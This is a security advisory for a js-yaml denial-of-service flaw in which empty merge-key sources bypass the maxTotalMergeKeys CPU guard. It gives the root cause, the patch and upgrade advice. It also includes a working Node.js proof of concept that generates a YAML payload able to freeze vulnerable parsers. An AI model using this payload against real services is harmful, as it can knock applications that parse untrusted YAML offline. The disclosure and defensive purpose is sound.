CVE-2026-84375: js-yaml ReDoS via Empty Merge-Key Sources
A flaw in js-yaml's merge-key guard lets attackers freeze a Node.js process with a small YAML file by repeatedly merging an aliased sequence of empty mappings, bypassing the maxTotalMergeKeys CPU…

The problem
The maxTotalMergeKeys counter in js-yaml's loader only increments when a merge source contributes at least one key. An empty mapping ({}) contributes zero keys, so it never touches the counter.
An attacker can alias one array of N empty mappings and merge it into K targets. The loader iterates all N sources for every target, doing O(N * K) work while the guard never fires. Merge is on by default in v3 and v4, so any app that parses untrusted YAML is exposed.
Proof of concept
A working proof-of-concept for CVE-2026-84375 in js-yaml, with the exact payload below.
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
// ~500 KB document, loads in ~13 s on vulnerable versions
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)The root cause is that mergeMappings() only called the budget counter once per *folded key*, never once per *source mapping*. An empty mapping folds zero keys, so iterating it costs real CPU but spends zero budget, defeating the guard introduced for GHSA-g796-fgmg-93mv.
The patch (commit d90b661) adds a chargeMergeWork() helper that increments totalMergeKeys at the very start of mergeMappings(), before inspecting sourceKeys. This charges one unit per source object, so a sequence of N empty mappings costs N units and hits the default limit of 10,000 long before the process hangs.
CWE-400 (Uncontrolled Resource Consumption) and CWE-407 (Inefficient Algorithmic Complexity) both apply: the quadratic work is unbounded and the intended safety control is bypassed.
The fix
Upgrade js-yaml to 4.3.2 (v4 line) or 3.15.2 (v3 line). If you cannot upgrade immediately, pass { maxTotalMergeKeys: 0 } to disable merge entirely, or avoid parsing untrusted YAML with merge-enabled schemas (YAML11_SCHEMA). v5 users should be on 5.4.1 or later.
Reported by spokodev.
Related research
- high · 7.5CVE-2026-59869CVE-2026-59869: js-yaml Merge-Key Chain Quadratic CPU DoS
- high · 7.5CVE-2026-59870: js-yaml Quadratic CPU Denial of Service via !!omap
- high · 7.5js-yaml: Exponential Parsing DoS via Nested Flow Collections
- highCVE-2026-83614CVE-2026-83614: @xmldom/xmldom Quadratic-Time Parsing ReDoS (DoS)